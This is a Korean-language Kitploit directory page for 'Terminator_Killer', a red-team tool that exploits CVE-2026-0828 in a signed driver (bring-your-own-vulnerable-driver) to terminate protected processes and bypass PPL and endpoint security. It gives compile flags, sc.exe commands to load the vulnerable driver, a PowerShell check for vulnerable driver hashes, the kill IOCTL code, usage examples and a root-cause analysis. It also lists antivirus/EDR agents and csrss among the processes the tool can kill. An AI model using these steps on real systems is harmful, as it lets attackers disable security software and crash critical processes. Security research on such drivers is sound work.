Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/hika-sec/terminator_killer
Privilege EscalationVulnerability AnalysisExploitationIDS/IPS EvasionPenetration TestingRed Teaming
GitHubhika-sec/terminator_killer

Terminator_Killer

CVE-2026-0828(BYOVD)을 악용하여 취약한 서명된 드라이버를 통해 보호된 프로세스를 종료하고 PPL 및 엔드포인트 보안을 우회하는 커널 모드 프로세스 킬러

저장소 보기
121시간 36분 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Terminator - 레드팀 프로세스 킬러

취약한 드라이버(CVE-2026-0828)를 활용하여 사용자 모드에서 보호된 프로세스를 종료하는 커널 모드 프로세스 종료 도구입니다.

컴파일

Windows에서 MinGW-w64(GCC)가 필요합니다. 다음으로 컴파일하세요:

root@kitploit:~
g++ --% .\terminator.cpp -o terminator.exe -Oz -ffunction-sections -fdata-sections -static -static-libgcc -static-libstdc++ -Wl,--gc-sections -W

플래그 설명:

플래그설명
--%PowerShell 중지-구문 분석 토큰(인수를 g++에 그대로 전달)
-Oz최소 크기로 최적화
-ffunction-sections / -fdata-sections각 함수/데이터를 별도의 섹션에 배치
-static / -static-libgcc / -static-libstdc++정적 링크(런타임 DLL 의존성 없음)
-Wl,--gc-sections링커가 사용하지 않는 섹션을 가비지 컬렉션
-W경고 활성화

출력: 독립 실행형 terminator.exe (약 20-30KB, stripped).

기술적 초점

이 프로젝트는 검증되지 않은 IOCTL_KILL_PROCESS 핸들러를 노출하는 취약한 커널 드라이버(STProcessMonitorDriver)의 악용을 시연합니다. 이 핸들러는 권한이나 보호 메커니즘(PPL, EPROCESS 플래그 등)에 관계없이 임의의 프로세스 종료를 허용합니다.

아키텍처 분석

구성 요소설명
terminator.cpp프로세스를 열거하고 종료 IOCTL을 전송하는 사용자 모드 클라이언트
terminator.hpp프로세스 열거 및 종료를 위한 클래스 인터페이스
ProcessMonitorDriver.sys취약한 커널 드라이버(외부 제공, 포함되지 않음)

코드 분석

Terminator::GetProcessPids()

  • CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS)를 통해 스냅샷 생성
  • Process32First/Process32Next로 모든 프로세스 반복
  • 대상 프로세스 이름에 대해 대소문자를 구분하지 않는 일치
  • 일치하는 PID의 벡터 반환

Terminator::ProcessKill()

  • \\.\STProcessMonitorDriver에 대한 핸들 열기
  • 무한 모니터링 루프 진입(500ms 간격)
  • 발견된 각 PID에 대해 8바이트 PID 버퍼로 IOCTL_KILL_PROCESS (0xB822200C) 전송
  • 프로세스를 찾지 못하면 출력하지 않으며, 종료 시도 시에만 로그를 기록

사용 가이드

사전 요구 사항

취약한 드라이버 로드(관리자 권한 필요):

root@kitploit:~
sc.exe create STProcessMonitor type=kernel binPath=C:\Path\To\Driver\ProcessMonitorDriver.sys
sc.exe start STProcessMonitor

기존 서비스 악용

취약한 버전의 ProcessMonitorDriver.sys가 이미 서비스로 설치되어 실행 중인 경우(예: 정식 애플리케이션에서 제공), Terminator는 새 드라이버를 로드하지 않고 직접 연결할 수 있습니다.

서비스가 존재하고 실행 중인지 확인:

root@kitploit:~
sc.exe query STProcessMonitor

드라이버 버전이 취약한지 확인(PowerShell):

root@kitploit:~
$driverPath = "C:\Windows\System32\drivers\ProcessMonitorDriver.sys"
if (Test-Path $driverPath) {
    $hash = (Get-FileHash $driverPath -Algorithm SHA256).Hash.ToLower()
    $vulnerableHashes = @(
        "70bcec00c215fe52779700f74e9bd669ff836f594df92381cbfb7ee0568e7a8b",  # 11.11.4.0
        "85d21ad0e0b43d122f3c9ec06036b08398635860c93d764f72fb550fb44cf786"   # 10.5.75.0
    )
    if ($vulnerableHashes -contains $hash) {
        Write-Host "[+] Vulnerable driver detected (SHA256: $hash)" -ForegroundColor Green
        Write-Host "[+] You can simply run Terminator." -ForegroundColor Green
    } else {
        Write-Host "[-] Driver found but not a known vulnerable version (SHA256: $hash)" -ForegroundColor Yellow
    }
} else {
    Write-Host "[-] Driver not found at $driverPath" -ForegroundColor Red
}

서비스가 존재하고 취약한 버전으로 RUNNING 상태이면 드라이버 로드 단계를 건너뛰고 Terminator를 바로 실행하세요.

영향을 받는 버전(테스트됨)

버전SHA-256
11.11.4.070bcec00c215fe52779700f74e9bd669ff836f594df92381cbfb7ee0568e7a8b
10.5.75.085d21ad0e0b43d122f3c9ec06036b08398635860c93d764f72fb550fb44cf786

다른 버전도 영향을 받을 수 있습니다. 사용 전에 드라이버의 IOCTL 핸들러를 확인하세요.

Terminator 실행

root@kitploit:~
terminator.exe -proc <process_name1> [process_name2] ...

예시:

root@kitploit:~
terminator.exe -proc notepad.exe calc.exe

출력

root@kitploit:~
[+] Connected to driver. Monitoring for processes...
[*] Sending IOCTL 0xB822200C to terminate PID 4188...
[+] Success! IOCTL sent for PID 4188.

CVE-2026-0828 분석

취약점: 드라이버 STProcessMonitorDriver는 다음과 같은 IOCTL 핸들러(0xB822200C)를 등록합니다:

  1. 사용자가 제공한 64비트 PID를 입력 버퍼로 수락
  2. PID 값에 대해 검증을 수행하지 않음
  3. PsLookupProcessByProcessId → ZwTerminateProcess를 직접 호출
  4. 커널 컨텍스트(SYSTEM 토큰)에서 실행되어 모든 사용자 모드 ACL을 우회

영향: 드라이버에 접근할 수 있는 비관리자 사용자는 다음을 종료할 수 있습니다:

  • 보호된 프로세스(PPL)
  • 안티바이러스/EDR 에이전트
  • 중요한 시스템 프로세스(csrss, winlogon 등)
  • SeDebugPrivilege 요구 사항이 있는 프로세스

근본 원인: ObReferenceObjectByHandle 검증 누락, SeSinglePrivilegeCheck(SeDebugPrivilege) 부재, 프로세스 개체 액세스 검사 없음.

면책 조항

이 도구는 승인된 보안 연구 및 레드팀 훈련 전용입니다.

소유하지 않았거나 테스트에 대한 명시적 허가를 받지 않은 시스템에 대한 무단 사용은 불법입니다. 저자는 오용에 대해 책임을 지지 않습니다. 어떤 환경에서 배포하기 전에 서면 승인을 받았는지 확인하세요.

취약한 드라이버(ProcessMonitorDriver.sys)는 데모 목적으로 의도적으로 결함이 있으며 프로덕션 환경에 절대 배포해서는 안 됩니다.

도구 다운로드